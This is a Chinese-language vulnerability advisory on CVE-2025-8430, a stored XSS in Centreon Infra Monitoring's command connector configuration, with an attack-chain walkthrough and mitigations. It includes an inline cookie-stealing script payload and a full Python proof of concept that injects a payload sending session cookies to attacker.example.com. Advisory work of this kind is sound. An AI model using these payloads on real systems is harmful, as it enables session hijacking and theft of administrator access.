IPBUF安全漏洞报告
English
CVE-2025-8430 CVSS 6.8 中危

CVE-2025-8430 Centreon Infra Monitoring命令连接器存储型XSS漏洞

披露日期: 2025-10-14
来源: bd4443e6-1eef-43f3-9886-25fc9ceeaae7

漏洞信息

漏洞编号
CVE-2025-8430
漏洞类型
存储型跨站脚本(Stored XSS)
CVSS评分
6.8 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Centreon Infra Monitoring(命令连接器配置模块)

相关标签

XSS存储型XSSStored XSSCWE-79CentreonInfra Monitoring命令连接器Commands ConnectorsWeb应用漏洞跨站脚本

漏洞概述

CVE-2025-8430是Centreon Infra Monitoring平台命令连接器(Commands Connectors)配置模块中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞源于Web页面生成过程中对用户输入未能进行充分的中和化处理(Improper Neutralization of Input During Web Page Generation),属于CWE-79类漏洞。Centreon是一款广泛使用的开源IT基础设施监控平台,被大量企业用于监控网络设备、服务器和应用程序的运行状态。该漏洞允许具有提升权限的用户在命令连接器配置模块中注入恶意的JavaScript脚本或HTML代码,这些恶意内容将被持久化存储在服务端数据库中。当其他用户(包括管理员)访问包含恶意内容的页面时,存储的恶意脚本将在其浏览器上下文中自动执行,从而窃取敏感信息(如会话Cookie、认证令牌)或执行未授权操作。由于该漏洞影响范围集中在机密性维度(CVSS中C:H),攻击者可利用此漏洞获取高权限用户的会话信息,进而可能导致权限提升或敏感监控数据泄露。该漏洞的CVSS 3.1评分为6.8,属于中危级别,攻击向量为网络利用,需要高权限认证,无需用户交互即可触发。Centreon官方已在最新版本中修复该问题,并发布了安全公告。

技术细节

该漏洞的核心问题在于Centreon Infra Monitoring命令连接器配置模块未对用户提交的输入数据进行充分的过滤和转义处理。具体而言,当具有高权限的用户(如管理员或配置管理员)在配置命令连接器(Commands Connectors)相关参数时,输入的恶意JavaScript代码或HTML标签未被正确中和化(HTML实体编码),而是直接存储到后端数据库中。由于Centreon Web前端在渲染这些配置数据时直接输出原始内容而未进行适当的输出编码,导致存储型XSS漏洞的产生。攻击利用过程如下:1)攻击者首先需要获取具有提升权限的Centreon账户(PR:H要求);2)登录后导航至命令连接器配置模块,在相关字段(如连接器名称、描述、命令路径等)中注入恶意JavaScript payload,例如`<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>`;3)恶意payload被持久化存储到数据库;4)当其他用户(尤其是更高权限的管理员)查看相关配置页面时,浏览器自动执行注入的脚本;5)攻击者可窃取受害者的会话Cookie、认证令牌,或在受害者权限上下文中执行任意操作。由于CVSS向量中包含S:C(Scope Changed),表明漏洞的影响范围会跨越安全边界,攻击者可利用窃取的权限访问超出预期范围的数据。该漏洞的CVSS评分为6.8,反映了虽然利用需要高权限,但其影响范围广且对机密性危害严重。

攻击链分析

STEP 1
步骤1:获取高权限账户
攻击者通过社会工程、钓鱼或购买等方式获取Centreon Infra Monitoring平台具有提升权限的账户(如配置管理员或操作员权限),因为该漏洞利用需要高权限认证(PR:H)。
STEP 2
步骤2:导航至命令连接器配置模块
攻击者登录Centreon Web界面,导航至配置 > 命令 > 连接器(Commands Connectors)配置页面(p=60901),该模块允许用户管理用于执行监控检查的连接器配置。
STEP 3
步骤3:注入恶意XSS Payload
攻击者在连接器的名称、描述或命令路径等输入字段中注入精心构造的恶意JavaScript代码(如窃取Cookie的脚本),由于服务端未对这些字段进行充分的输入过滤和输出编码,恶意代码被直接存储到数据库中。
STEP 4
步骤4:等待受害者访问触发
恶意Payload被持久化存储后,当其他用户(尤其是具有更高权限的管理员)查看命令连接器列表或详情页面时,浏览器自动执行注入的恶意脚本。
STEP 5
步骤5:窃取敏感信息
恶意脚本在受害者浏览器上下文中执行,可窃取会话Cookie、认证令牌等敏感信息,并将数据外泄至攻击者控制的服务器。由于影响范围改变(S:C),攻击者可利用窃取的权限访问超出预期的敏感数据。
STEP 6
步骤6:利用窃取权限进行后续攻击
攻击者利用窃取的管理员会话执行未授权操作,如修改监控配置、访问敏感监控数据、植入后门或进一步横向移动至被监控的IT基础设施。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-8430 - Centreon Infra Monitoring Stored XSS PoC # Vulnerability: Stored XSS in Commands Connectors configuration module # Affected versions: 24.10.0 before 24.10.13, 24.04.0 before 24.04.18, 23.10.0 before 23.10.28 # Required privilege: High (PR:H) import requests from bs4 import BeautifulSoup TARGET_URL = "https://target-centreon.example.com" USERNAME = "attacker_high_priv_user" PASSWORD = "password123" LISTENER_URL = "https://attacker.example.com/steal" session = requests.Session() # Step 1: Login to Centreon with elevated privileges login_url = f"{TARGET_URL}/centreon/api/latest/login" login_payload = { "security": { "credentials": { "login": USERNAME, "password": PASSWORD } } } resp = session.post(login_url, json=login_payload) print(f"[*] Login status: {resp.status_code}") # Step 2: Navigate to Commands Connectors configuration page connector_page_url = f"{TARGET_URL}/centreon/main.php?p=60901" resp = session.get(connector_page_url) soup = BeautifulSoup(resp.text, 'html.parser') # Step 3: Inject malicious XSS payload into connector name/description field # The payload exfiltrates session cookies to attacker-controlled server xss_payload = f'<script>new Image().src="{LISTENER_URL}?c="+document.cookie</script>' print(f"[*] XSS Payload: {xss_payload}") # Step 4: Submit the malicious connector configuration # The endpoint and parameters may vary based on Centreon version add_connector_url = f"{TARGET_URL}/centreon/main.php?p=60901&o=a" connector_payload = { "connector_name": xss_payload, "connector_description": xss_payload, "command_line": f'/bin/echo {xss_payload}', "connector_status": "1" } resp = session.post(add_connector_url, data=connector_payload) print(f"[*] Payload submission status: {resp.status_code}") # Step 5: Verify stored payload (optional) list_url = f"{TARGET_URL}/centreon/main.php?p=60901" resp = session.get(list_url) if xss_payload in resp.text: print("[+] XSS payload successfully stored!") print("[*] When any user (especially admin) views this connector config,") print("[*] the malicious script will execute and exfiltrate their session cookies.") else: print("[-] Payload may not have been stored. Check response manually.") # Step 6: Attacker server receives stolen cookies # On attacker.example.com, set up a listener to capture exfiltrated cookies # Example using a simple HTTP server: # python3 -m http.server 80 # Received request: GET /steal?c=PHPSESSID=abc123...

影响范围

Centreon Infra Monitoring >= 24.10.0, < 24.10.13
Centreon Infra Monitoring >= 24.04.0, < 24.04.18
Centreon Infra Monitoring >= 23.10.0, < 23.10.28

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)严格审查和限制具有命令连接器配置权限的用户数量,仅授权必要的可信用户;2)定期检查命令连接器配置中是否存在可疑的JavaScript代码或HTML标签;3)在Web前端部署内容安全策略(CSP),限制内联脚本执行;4)为所有会话Cookie设置HttpOnly标志,降低Cookie窃取风险;5)启用Web应用防火墙(WAF)规则,检测和阻断常见的XSS攻击payload;6)监控管理员账户的异常活动,如非常规时间的配置修改或登录行为;7)考虑在反向代理层面添加输入过滤规则,对提交到命令连接器配置接口的请求进行XSS payload检测。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表